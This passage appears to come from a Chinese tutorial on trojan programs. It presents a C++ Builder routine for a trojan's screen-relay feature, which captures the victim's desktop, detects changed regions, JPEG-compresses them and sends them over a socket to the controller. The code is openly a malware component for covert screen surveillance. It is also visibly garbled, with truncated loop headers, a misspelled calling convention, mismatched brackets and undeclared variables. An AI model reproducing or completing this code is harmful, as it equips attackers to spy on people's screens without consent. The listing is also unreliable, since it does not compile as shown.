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此外，很多木马程序支持了屏幕回传的功能，其根本的原理是先捕获屏幕画面，然后回传给客户机，由于画面的数据量很大所以，很多木马程序都是在画面改变的时候才回传改变部分的画面，常用的手段是最小矩形法，下面以好友“古老传说”的一段算法举例：
#define MAXXCount 10 //屏幕X方向最多分割块数
#define MAXYCount 5 //... Y................
#define DestNum 1000 //每块的偏移检测点最大个数
COLORREF Colors[MAXXCount][MAXYCount][DestNum];
COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];
TPoint Dests[DestNum];
int Sw;
int Sh;
int xCount;
int yCount;
int ItemWidth;
int ItemHeight;
int Dnum;
int Qlity;
//得到消息后执行：
//另外：接收到的数据包中分析出 Dnum ，Qlity
//Dnum：偏移观测点数量
//Qlity：图象要求质量
__fastVV Tform1::CopyScreen(int DNum,int Qlity){
ItemWidth=Sw/xCount;
ItemHeight=Sh/yCount;
Sw=Screen->Width;
Sh=Screen->Height;
xCount=(Sw>1000)?8:6;
yCount=(Sh>1000)?3:2;
for (int num1=0;num1 Dests[num1].x=random(ItemWidth);
Dests[num1].y=random(ItemHeight);
}
CatchScreen(DNum,Qlity);
}
//收到刷屏消息后只执行:
CatchScreen(DNum,Qlity);
__fastVV Tform1::CatchScreen(int DNum,int Qlity){
//函数功能：扫描改变的屏幕区域，并切经过优化处理，最后发送这些区域数据
//DNum: 偏移量 Qlity:图象质量
HDC dc=GetDC(GetDesktopWindow());
Graphics::TBitmap *bm=new Graphics::TBitmap;
bm->Width=Sw;
bm->Height=Sh;
BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);
int num1,num2,num3;
int nowx,nowy;
bool Change;
bool ItemChange[MAXXCount][MAXYCount];
for (num1=0;num1 nowx=ItemWidth*num1;
for (num2=0;num2 nowy=ItemHeight*num2;
Change=false;
for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];
if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){
BakColors[num1][num2][num3]=Colors[num1][num2][num3];
ItemChange[num1][num2]=true;
}
}
}
}
int CNum,MaxCNum;
int ChangedNum=0;
TRect *Rect;
int num4;
int MinSize=10000;
int m;
TRect MinRect;
Graphics::TBitmap *bt2=new Graphics::TBitmap;
TJPEGImage *j=new TJPEGImage;
//************************
j->Quality=Qlity;
//************************
CopyScreenUint CopyScreen;
CopyScreenItemUint CopyScreenItem;
TMemoryStream *ms=new TMemoryStream;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUint));
do{
for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3MaxCNum) MaxCNum=CNum;
m=(num3-num1)*(num4-num2);
if (2*m-CNum MinSize=2*m-CNum;
MinRect=TRect(num1,num2,num3,num4);
}
}
}
TMemoryStream *ms;
BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);
j->Assign(bt2);
j->SaveToStream(ms2);
CopyScreenItem.Rect=TRect(num1,num2,num3,num4);
CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为：#define JPEGFILE 1
ms2->Position=0;
CopyScreenItem.Length=ms2->Size;
ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));
ms->CopyFrom(ms2,ms2->Size);
ChangedNum++;
}while(MaxCNum>0);
TcpMsg.Type=MsgCopyScreen;
ms->Position=0;
TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);
CopyScreen.Count=ChangedNum;
ms->Write(&TcpMsg,sizeof(TcpMsgUint));
ms->Write(&CopyScreen,sizeof(CopyScreenUInt));
ms->Position=0;
sock->SendStream(ms);
}
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